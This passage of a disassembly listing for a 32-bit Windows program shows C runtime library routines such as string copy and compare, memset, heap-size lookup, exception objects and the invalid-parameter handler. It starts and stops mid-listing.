--------------------------------------------------------------------------- loc_40C563: ; CODE XREF: sub_40C500+13j ; sub_40C500+5Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C56D: ; CODE XREF: sub_40C500+58j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C577: ; CODE XREF: sub_40C500+51j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_40C581: ; CODE XREF: sub_40C500+4Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_40C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C58B proc near ; CODE XREF: sub_401000+364p ; sub_4026D7+96p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_4218E0 call __SEH_prolog4 xor eax, eax mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi setnz al cmp eax, edi jnz short loc_40C5C4 call sub_40F7D4 mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40C617 ; --------------------------------------------------------------------------- loc_40C5C4: ; CODE XREF: sub_40C58B+1Aj cmp dword_434D5C, 3 jnz short loc_40C605 push 4 call sub_40F9F7 pop ecx mov [ebp+ms_exc.disabled], edi push ebx call sub_40FB25 pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_40C5F1 mov esi, [ebx-4] sub esi, 9 mov [ebp+var_1C], esi jmp short loc_40C5F4 ; --------------------------------------------------------------------------- loc_40C5F1: ; CODE XREF: sub_40C58B+59j mov esi, [ebp+var_1C] loc_40C5F4: ; CODE XREF: sub_40C58B+64j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40C625 cmp [ebp+var_20], edi jnz short loc_40C615 loc_40C605: ; CODE XREF: sub_40C58B+40j push ebx push edi push dword_425FE8 call ds:dword_41E198 ; RtlSizeHeap mov esi, eax loc_40C615: ; CODE XREF: sub_40C58B+78j mov eax, esi loc_40C617: ; CODE XREF: sub_40C58B+37j call __SEH_epilog4 retn sub_40C58B endp ; =============== S U B R O U T I N E ======================================= sub_40C61D proc near ; DATA XREF: r69pu5ti:004218F8o xor edi, edi mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_40C61D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C625 proc near ; CODE XREF: sub_40C58B+70p push 4 call sub_40F91F pop ecx retn sub_40C625 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C62E proc near ; CODE XREF: sub_401000+1Dp ; sub_401C17+83p jmp ds:dword_41E19C sub_40C62E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C634 proc near ; CODE XREF: sub_40158F+EEp ; sub_401ACE+54p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_8], ebx jnz short loc_40C65F call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40C6DE ; --------------------------------------------------------------------------- loc_40C65F: ; CODE XREF: sub_40C634+Cj mov ecx, [ebp+arg_4] cmp ecx, ebx push esi mov esi, [ebp+arg_0] jz short loc_40C68B cmp esi, ebx jnz short loc_40C68B call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40C6DD ; --------------------------------------------------------------------------- loc_40C68B: ; CODE XREF: sub_40C634+34j ; sub_40C634+38j mov eax, 7FFFFFFFh cmp ecx, eax mov [ebp+var_1C], eax ja short loc_40C69A mov [ebp+var_1C], ecx loc_40C69A: ; CODE XREF: sub_40C634+61j push edi lea eax, [ebp+arg_C] push eax push ebx push [ebp+arg_8] lea eax, [ebp+var_20] push eax mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi call sub_4109D7 add esp, 10h cmp esi, ebx mov edi, eax jz short loc_40C6DC dec [ebp+var_1C] js short loc_40C6CE mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40C6DA ; --------------------------------------------------------------------------- loc_40C6CE: ; CODE XREF: sub_40C634+91j lea eax, [ebp+var_20] push eax push ebx call sub_4107D6 pop ecx pop ecx loc_40C6DA: ; CODE XREF: sub_40C634+98j mov eax, edi loc_40C6DC: ; CODE XREF: sub_40C634+8Cj pop edi loc_40C6DD: ; CODE XREF: sub_40C634+55j pop esi loc_40C6DE: ; CODE XREF: sub_40C634+29j pop ebx leave retn sub_40C634 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C6F0 proc near ; CODE XREF: sub_401000+255p ; sub_401000+2A6p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_40C765 xor eax, eax mov al, [esp+arg_4] test al, al jnz short loc_40C71C cmp edx, 100h jb short loc_40C71C cmp dword_434D40, 0 jz short loc_40C71C jmp sub_4113C6 ; --------------------------------------------------------------------------- loc_40C71C: ; CODE XREF: sub_40C6F0+14j ; sub_40C6F0+1Cj ... push edi mov edi, ecx cmp edx, 4 jb short loc_40C755 neg ecx and ecx, 3 jz short loc_40C737 sub edx, ecx loc_40C72D: ; CODE XREF: sub_40C6F0+45j mov [edi], al add edi, 1 sub ecx, 1 jnz short loc_40C72D loc_40C737: ; CODE XREF: sub_40C6F0+39j mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_40C755 rep stosd test edx, edx jz short loc_40C75F loc_40C755: ; CODE XREF: sub_40C6F0+32j ; sub_40C6F0+5Dj ... mov [edi], al add edi, 1 sub edx, 1 jnz short loc_40C755 loc_40C75F: ; CODE XREF: sub_40C6F0+63j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40C765: ; CODE XREF: sub_40C6F0+Aj mov eax, [esp+arg_0] retn sub_40C6F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40C76A proc near ; CODE XREF: sub_401000+396p ; sub_4018DF+1Cp ... jmp sub_40CB3C sub_40C76A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C76F proc near ; CODE XREF: sub_401D5F+Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push esi push edi xor edi, edi cmp eax, edi jz short loc_40C7C4 cmp [ebp+arg_0], edi jnz short loc_40C79D loc_40C782: ; CODE XREF: sub_40C76F+31j call sub_40F7D4 push 16h pop esi mov [eax], esi loc_40C78C: ; CODE XREF: sub_40C76F+44j push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_40C7C6 ; --------------------------------------------------------------------------- loc_40C79D: ; CODE XREF: sub_40C76F+11j cmp [ebp+arg_8], edi jz short loc_40C782 cmp [ebp+arg_4], eax jnb short loc_40C7B5 call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40C78C ; --------------------------------------------------------------------------- loc_40C7B5: ; CODE XREF: sub_40C76F+36j push eax push [ebp+arg_8] push [ebp+arg_0] call sub_411470 add esp, 0Ch loc_40C7C4: ; CODE XREF: sub_40C76F+Cj xor eax, eax loc_40C7C6: ; CODE XREF: sub_40C76F+2Cj pop edi pop esi pop ebp retn sub_40C76F endp ; =============== S U B R O U T I N E ======================================= sub_40C7CA proc near ; CODE XREF: sub_401DA8+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_41E35C retn sub_40C7CA endp ; =============== S U B R O U T I N E ======================================= sub_40C7DB proc near ; CODE XREF: sub_402389+2Fp ; sub_415769+15Dp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, ecx mov dword ptr [edi], offset off_41E35C mov eax, [ebx] test eax, eax jz short loc_40C816 push eax call sub_40C500 mov esi, eax inc esi push esi call sub_40D437 test eax, eax pop ecx pop ecx mov [edi+4], eax jz short loc_40C81A push dword ptr [ebx] push esi push eax call sub_4117D5 add esp, 0Ch jmp short loc_40C81A ; --------------------------------------------------------------------------- loc_40C816: ; CODE XREF: sub_40C7DB+13j and dword ptr [edi+4], 0 loc_40C81A: ; CODE XREF: sub_40C7DB+2Bj ; sub_40C7DB+39j mov dword ptr [edi+8], 1 mov eax, edi pop edi pop esi pop ebx retn 4 sub_40C7DB endp ; =============== S U B R O U T I N E ======================================= sub_40C829 proc near ; CODE XREF: sub_40CC01+Ap arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dword ptr [eax], offset off_41E35C mov ecx, [ecx] and dword ptr [eax+8], 0 mov [eax+4], ecx retn 8 sub_40C829 endp ; =============== S U B R O U T I N E ======================================= sub_40C841 proc near ; CODE XREF: sub_402188+15p ; sub_402389+51p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx mov dword ptr [esi], offset off_41E35C mov eax, [ebx+8] mov [esi+8], eax test eax, eax mov eax, [ebx+4] push edi jz short loc_40C88E test eax, eax jz short loc_40C888 push eax call sub_40C500 mov edi, eax inc edi push edi call sub_40D437 test eax, eax pop ecx pop ecx mov [esi+4], eax jz short loc_40C891 push dword ptr [ebx+4] push edi push eax call sub_4117D5 add esp, 0Ch jmp short loc_40C891 ; --------------------------------------------------------------------------- loc_40C888: ; CODE XREF: sub_40C841+1Ej and dword ptr [esi+4], 0 jmp short loc_40C891 ; --------------------------------------------------------------------------- loc_40C88E: ; CODE XREF: sub_40C841+1Aj mov [esi+4], eax loc_40C891: ; CODE XREF: sub_40C841+36j ; sub_40C841+45j ... pop edi mov eax, esi pop esi pop ebx retn 4 sub_40C841 endp ; =============== S U B R O U T I N E ======================================= sub_40C899 proc near ; CODE XREF: sub_401D7B+6j ; .text:00401D8Fp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_41E35C jz short locret_40C8AE push dword ptr [ecx+4] call sub_40D35A pop ecx locret_40C8AE: ; CODE XREF: sub_40C899+Aj retn sub_40C899 endp ; =============== S U B R O U T I N E ======================================= sub_40C8AF proc near ; DATA XREF: r69pu5ti:off_41E304o ; r69pu5ti:off_41E35Co ... mov eax, [ecx+4] test eax, eax jnz short locret_40C8BB mov eax, offset aUnknownExcepti ; "Unknown exception" locret_40C8BB: ; CODE XREF: sub_40C8AF+5j retn sub_40C8AF endp ; =============== S U B R O U T I N E ======================================= sub_40C8BC proc near ; DATA XREF: r69pu5ti:off_41E35Co arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40C899 test [esp+4+arg_0], 1 jz short loc_40C8D2 push esi call sub_40CB3C pop ecx loc_40C8D2: ; CODE XREF: sub_40C8BC+Dj mov eax, esi pop esi retn 4 sub_40C8BC endp ; =============== S U B R O U T I N E ======================================= sub_40C8D8 proc near ; CODE XREF: sub_40C9B4+18p var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi push dword_434D30 call sub_40F194 push dword_434D2C mov esi, eax mov [esp+1Ch+var_4], esi call sub_40F194 mov edi, eax cmp edi, esi pop ecx pop ecx jb short loc_40C97D mov ebx, edi sub ebx, esi lea ebp, [ebx+4] cmp ebp, 4 jb short loc_40C97D push esi call sub_40C58B mov esi, eax cmp esi, ebp pop ecx jnb short loc_40C964 mov eax, 800h cmp esi, eax jnb short loc_40C925 mov eax, esi loc_40C925: ; CODE XREF: sub_40C8D8+49j add eax, esi cmp eax, esi jb short loc_40C93B push eax push [esp+18h+var_4] call sub_4118C2 test eax, eax pop ecx pop ecx jnz short loc_40C952 loc_40C93B: ; CODE XREF: sub_40C8D8+51j lea eax, [esi+10h] cmp eax, esi jb short loc_40C97D push eax push [esp+18h+var_4] call sub_4118C2 test eax, eax pop ecx pop ecx jz short loc_40C97D loc_40C952: ; CODE XREF: sub_40C8D8+61j sar ebx, 2 push eax lea edi, [eax+ebx*4] call sub_40F128 pop ecx mov dword_434D30, eax loc_40C964: ; CODE XREF: sub_40C8D8+40j mov esi, [esp+14h+arg_0] mov [edi], esi add edi, 4 push edi call sub_40F128 mov dword_434D2C, eax pop ecx mov eax, esi jmp short loc_40C97F ; --------------------------------------------------------------------------- loc_40C97D: ; CODE XREF: sub_40C8D8+27j ; sub_40C8D8+33j ... xor eax, eax loc_40C97F: ; CODE XREF: sub_40C8D8+A3j pop edi pop esi pop ebp pop ebx pop ecx retn sub_40C8D8 endp ; =============== S U B R O U T I N E ======================================= sub_40C985 proc near ; DATA XREF: r69pu5ti:0041E2C0o push esi push 4 push 20h call sub_41187A mov esi, eax push esi call sub_40F128 add esp, 0Ch test esi, esi mov dword_434D30, eax mov dword_434D2C, eax jnz short loc_40C9AD push 18h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40C9AD: ; CODE XREF: sub_40C985+21j and dword ptr [esi], 0 xor eax, eax pop esi retn sub_40C985 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9B4 proc near ; CODE XREF: sub_40C9F0+4p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421900 call __SEH_prolog4 call sub_4119BC and [ebp+ms_exc.disabled], 0 push [ebp+arg_0] call sub_40C8D8 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40C9EA mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_40C9B4 endp ; =============== S U B R O U T I N E ======================================= sub_40C9EA proc near ; CODE XREF: sub_40C9B4+28p ; DATA XREF: r69pu5ti:00421918o call sub_4119C5 retn sub_40C9EA endp ; =============== S U B R O U T I N E ======================================= sub_40C9F0 proc near ; CODE XREF: .text:0040CC5Fp ; sub_411A79+44p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_40C9B4 neg eax sbb eax, eax neg eax pop ecx dec eax retn sub_40C9F0 endp ; =============== S U B R O U T I N E ======================================= sub_40CA02 proc near ; CODE XREF: sub_411C19+15p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_425B00, eax retn sub_40CA02 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=2A8h sub_40CA0C proc near ; CODE XREF: sub_40CB08+1Fj ; sub_40FA28+21p ... var_328 = dword ptr -328h var_31C = dword ptr -31Ch var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_244 = word ptr -244h var_240 = word ptr -240h var_23C = word ptr -23Ch var_238 = word ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = word ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = word ptr -208h var_4 = dword ptr -4 push ebp lea ebp, [esp-2A8h] sub esp, 328h mov eax, dword_423068 xor eax, ebp mov [ebp+2A8h+var_4], eax push esi mov [ebp+2A8h+var_220], eax mov [ebp+2A8h+var_224], ecx mov [ebp+2A8h+var_228], edx mov [ebp+2A8h+var_22C], ebx mov [ebp+2A8h+var_230], esi mov [ebp+2A8h+var_234], edi mov [ebp+2A8h+var_208], ss mov [ebp+2A8h+var_214], cs mov [ebp+2A8h+var_238], ds mov [ebp+2A8h+var_23C], es mov [ebp+2A8h+var_240], fs mov [ebp+2A8h+var_244], gs pushf pop [ebp+2A8h+var_210] mov esi, [ebp+2ACh] lea eax, [ebp+2ACh] mov [ebp+2A8h+var_20C], eax mov [ebp+2A8h+var_2D0], 10001h mov [ebp+2A8h+var_218], esi mov eax, [eax-4] push 50h mov [ebp+2A8h+var_21C], eax lea eax, [ebp+2A8h+var_328] push 0 push eax call sub_40C6F0 lea eax, [ebp+2A8h+var_328] mov [ebp+2A8h+var_2D8], eax lea eax, [ebp+2A8h+var_2D0] add esp, 0Ch mov [ebp+2A8h+var_328], 0C000000Dh mov [ebp+2A8h+var_31C], esi mov [ebp+2A8h+var_2D4], eax call ds:off_41E194 push 0 mov esi, eax call ds:dword_41E1A8 ; SetUnhandledExceptionFilter lea eax, [ebp+2A8h+var_2D8] push eax call ds:off_41E1A4 test eax, eax jnz short loc_40CAE0 test esi, esi jnz short loc_40CAE0 push 2 call sub_411C65 pop ecx loc_40CAE0: ; CODE XREF: sub_40CA0C+C6j ; sub_40CA0C+CAj push 0C000000Dh call ds:off_41E1A0 push eax call ds:off_41E0DC mov ecx, [ebp+2A8h+var_4] xor ecx, ebp pop esi call sub_40AB4A add ebp, 2A8h leave retn sub_40CA0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB08 proc near ; CODE XREF: sub_40AC10+29p ; sub_40AC10+5Fp ... push ebp mov ebp, esp push dword_425B00 call sub_40F194 test eax, eax pop ecx jz short loc_40CB1E pop ebp jmp eax ; --------------------------------------------------------------------------- loc_40CB1E: ; CODE XREF: sub_40CB08+11j push 2 call sub_411C65 pop ecx pop ebp jmp sub_40CA0C sub_40CB08 endp ; =============== S U B R O U T I N E ======================================= sub_40CB2C proc near ; CODE XREF: sub_402E02+5p ; sub_402E02+14p ... xor eax, eax push eax push eax push eax push eax push eax call sub_40CB08 add esp, 14h retn sub_40CB2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CB3C proc near ; CODE XREF: .text:00401D9Cp ; .text:00401E18p ... jmp sub_40D35A sub_40CB3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB41 proc near ; CODE XREF: sub_401D43+Fp ; sub_40DBB4+84p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi mov esi, [ebp+arg_C] push edi xor edi, edi cmp esi, edi jnz short loc_40CB53 loc_40CB4F: ; CODE XREF: sub_40CB41+4Bj xor eax, eax jmp short loc_40CBB8 ; --------------------------------------------------------------------------- loc_40CB53: ; CODE XREF: sub_40CB41+Cj cmp [ebp+arg_0], edi jnz short loc_40CB73 loc_40CB58: ; CODE XREF: sub_40CB41+5Fj call sub_40F7D4 push 16h pop esi mov [eax], esi loc_40CB62: ; CODE XREF: sub_40CB41+72j push edi push edi push edi push edi push edi call sub_40CB08 add esp, 14h mov eax, esi jmp short loc_40CBB8 ; --------------------------------------------------------------------------- loc_40CB73: ; CODE XREF: sub_40CB41+15j cmp [ebp+arg_8], edi jz short loc_40CB8E cmp [ebp+arg_4], esi jb short loc_40CB8E push esi push [ebp+arg_8] push [ebp+arg_0] call sub_40D820 add esp, 0Ch jmp short loc_40CB4F ; --------------------------------------------------------------------------- loc_40CB8E: ; CODE XREF: sub_40CB41+35j ; sub_40CB41+3Aj push [ebp+arg_4] push edi push [ebp+arg_0] call sub_40C6F0 add esp, 0Ch cmp [ebp+arg_8], edi jz short loc_40CB58 cmp [ebp+arg_4], esi jnb short loc_40CBB5 call sub_40F7D4 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40CB62 ; --------------------------------------------------------------------------- loc_40CBB5: ; CODE XREF: sub_40CB41+64j push 16h pop eax loc_40CBB8: ; CODE XREF: sub_40CB41+10j ; sub_40CB41+30j pop edi pop esi pop ebp retn sub_40CB41 endp ; =============== S U B R O U T I N E ======================================= sub_40CBBC proc near ; CODE XREF: .text:0040CBCDp push ecx mov dword ptr [ecx], offset nullsub_292 call sub_411C6D pop ecx retn sub_40CBBC endp ; --------------------------------------------------------------------------- push esi mov esi, ecx call sub_40CBBC test byte ptr [esp+8], 1 jz short loc_40CBE0 push esi call sub_40CB3C pop ecx loc_40CBE0: ; CODE XREF: .text:0040CBD7j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_40CBE6 proc near ; CODE XREF: sub_415769+12Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add ecx, 9 push ecx add eax, 9 push eax call sub_40CDC0 neg eax pop ecx sbb eax, eax pop ecx inc eax retn 4 sub_40CBE6 endp ; =============== S U B R O U T I N E ======================================= sub_40CC01 proc near ; CODE XREF: .text:0040CC55p push esi push 1 push offset off_423050 mov esi, ecx call sub_40C829 mov dword ptr [esi], offset off_41E304 mov eax, esi pop esi retn sub_40CC01 endp ; --------------------------------------------------------------------------- loc_40CC1A: ; CODE XREF: sub_402033+5p ; sub_402137+5p ... push ebp mov ebp, esp sub esp, 0Ch jmp short loc_40CC2F ; --------------------------------------------------------------------------- loc_40CC22: ; CODE XREF: .text:0040CC3Aj push dword ptr [ebp+8] call sub_411CE7 test eax, eax pop ecx jz short loc_40CC3E loc_40CC2F: ; CODE XREF: .text:0040CC20j push dword ptr [ebp+8] call sub_40D437 test eax, eax pop ecx jz short loc_40CC22 leave retn ; --------------------------------------------------------------------------- loc_40CC3E: ; CODE XREF: .text:0040CC2Dj test byte ptr dword_425B10, 1 mov esi, offset dword_425B04 jnz short loc_40CC65 or dword_425B10, 1 mov ecx, esi call sub_40CC01 push offset loc_41D892 call sub_40C9F0 pop ecx loc_40CC65: ; CODE XREF: .text:0040CC4Aj push esi lea ecx, [ebp-0Ch] call sub_40C841 push offset dword_421F98 lea eax, [ebp-0Ch] push eax mov dword ptr [ebp-0Ch], offset off_41E304 call sub_40E1BC ; --------------------------------------------------------------------------- db 0Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC90 proc near ; CODE XREF: sub_4023EB+19Cp ; sub_4037AC+48p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_40CD2F push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_40CCBC shr ecx, 2 jnz loc_40CD3F jmp short loc_40CCE3 ; --------------------------------------------------------------------------- loc_40CCBC: ; CODE XREF: sub_40CC90+1Fj ; sub_40CC90+45j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 sub ecx, 1 jz short loc_40CCF6 test al, al jz short loc_40CCFE test esi, 3 jnz short loc_40CCBC mov ebx, ecx shr ecx, 2 jnz short loc_40CD3F loc_40CCDE: ; CODE XREF: sub_40CC90+ADj and ebx, 3 jz short loc_40CCF6 loc_40CCE3: ; CODE XREF: sub_40CC90+2Aj ; sub_40CC90+64j mov al, [esi] add esi, 1 mov [edi], al add edi, 1 test al, al jz short loc_40CD28 sub ebx, 1 jnz short loc_40CCE3 loc_40CCF6: ; CODE XREF: sub_40CC90+39j ; sub_40CC90+51j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_40CCFE: ; CODE XREF: sub_40CC90+3Dj test edi, 3 jz short loc_40CD1C loc_40CD06: ; CODE XREF: sub_40CC90+8Aj mov [edi], al add edi, 1 sub ecx, 1 jz loc_40CDAC test edi, 3 jnz short loc_40CD06 loc_40CD1C: ; CODE XREF: sub_40CC90+74j mov ebx, ecx shr ecx, 2 jnz short loc_40CD97 loc_40CD23: ; CODE XREF: sub_40CC90+9Bj ; sub_40CC90+116j mov [edi], al add edi, 1 loc_40CD28: ; CODE XREF: sub_40CC90+5Fj sub ebx, 1 jnz short loc_40CD23 pop ebx pop esi loc_40CD2F: ; CODE XREF: sub_40CC90+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40CD35: ; CODE XREF: sub_40CC90+C7j ; sub_40CC90+DFj mov [edi], edx add edi, 4 sub ecx, 1 jz short loc_40CCDE loc_40CD3F: ; CODE XREF: sub_40CC90+24j ; sub_40CC90+4Cj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_40CD35 test dl, dl jz short loc_40CD89 test dh, dh jz short loc_40CD7F test edx, 0FF0000h jz short loc_40CD75 test edx, 0FF000000h jnz short loc_40CD35 mov [edi], edx jmp short loc_40CD8D ; --------------------------------------------------------------------------- loc_40CD75: ; CODE XREF: sub_40CC90+D7j and edx, 0FFFFh mov [edi], edx jmp short loc_40CD8D ; --------------------------------------------------------------------------- loc_40CD7F: ; CODE XREF: sub_40CC90+CFj and edx, 0FFh mov [edi], edx jmp short loc_40CD8D ; --------------------------------------------------------------------------- loc_40CD89: ; CODE XREF: sub_40CC90+CBj xor edx, edx mov [edi], edx loc_40CD8D: ; CODE XREF: sub_40CC90+E3j ; sub_40CC90+EDj ... add edi, 4 xor eax, eax sub ecx, 1 jz short loc_40CDA3 loc_40CD97: ; CODE XREF: sub_40CC90+91j xor eax, eax loc_40CD99: ; CODE XREF: sub_40CC90+111j mov [edi], eax add edi, 4 sub ecx, 1 jnz short loc_40CD99 loc_40CDA3: ; CODE XREF: sub_40CC90+105j and ebx, 3 jnz loc_40CD23 loc_40CDAC: ; CODE XREF: sub_40CC90+7Ej mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_40CC90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CDC0 proc near ; CODE XREF: sub_4023EB+1E8p ; sub_4023EB+202p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_40CE0C loc_40CDD0: ; CODE XREF: sub_40CDC0+3Cj ; sub_40CDC0+6Aj ... mov eax, [edx] cmp al, [ecx] jnz short loc_40CE04 or al, al jz short loc_40CE00 cmp ah, [ecx+1] jnz short loc_40CE04 or ah, ah jz short loc_40CE00 shr eax, 10h cmp al, [ecx+2] jnz short loc_40CE04 or al, al jz short loc_40CE00 cmp ah, [ecx+3] jnz short loc_40CE04 add ecx, 4 add edx, 4 or ah, ah jnz short loc_40CDD0 mov edi, edi loc_40CE00: ; CODE XREF: sub_40CDC0+18j ; sub_40CDC0+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_40CE04: ; CODE XREF: sub_40CDC0+14j ; sub_40CDC0+1Dj ... sbb eax, eax shl eax, 1 add eax, 1 retn ; --------------------------------------------------------------------------- loc_40CE0C: ; CODE XREF: sub_40CDC0+Ej test edx, 1 jz short loc_40CE2C mov al, [edx] add edx, 1 cmp al, [ecx] jnz short loc_40CE04 add ecx, 1 or al, al jz short loc_40CE00 test edx, 2 jz short loc_40CDD0 loc_40CE2C: ; CODE XREF: sub_40CDC0+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_40CE04 or al, al jz short loc_40CE00 cmp ah, [ecx+1] jnz short loc_40CE04 or ah, ah jz short loc_40CE00 add ecx, 2 jmp short loc_40CDD0 sub_40CDC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE48 proc near ; CODE XREF: sub_4026D7+84p ; sub_4026D7+102p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_4], ebx jnz short loc_40CE73 loc_40CE56: ; CODE XREF: sub_40CE48+30j call sub_40F7D4 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40CB08 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40CEC0 ; --------------------------------------------------------------------------- loc_40CE73: ; CODE XREF: sub_40CE48+Cj mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_40CE56 push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] push eax push ebx push [ebp+arg_4] lea eax, [ebp+var_20] push eax mov [ebp+var_1C], 7FFFFFFFh mov [ebp+var_14], 42h call sub_4109D7 add esp, 10h dec [ebp+var_1C] mov esi, eax js short loc_40CEB1 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40CEBD ; --------------------------------------------------------------------------- loc_40CEB1: ; CODE XREF: sub_40CE48+60j lea eax, [ebp+var_20] push eax push ebx call sub_4107D6 pop ecx pop ecx loc_40CEBD: ; CODE XREF: sub_40CE48+67j mov eax, esi pop esi loc_40CEC0: ; CODE XREF: sub_40CE48+29j pop ebx leave retn sub_40CE48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEC3 proc near ; CODE XREF: sub_40CF87+Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 0Ch push offset dword_421920 call __SEH_prolog4 xor ebx, ebx mov [ebp+var_1C], ebx xor eax, eax mov edi, [ebp+arg_0] cmp edi, ebx setnz al cmp eax, ebx jnz short loc_40CEFE loc_40CEE2: ; CODE XREF: sub_40CEC3+47j ; sub_40CEC3+52j call sub_40F7D4 mov dword ptr [eax], 16h push ebx push ebx push ebx push ebx push ebx call sub_40CB08 add esp, 14h loc_40CEFA: ; CODE XREF: 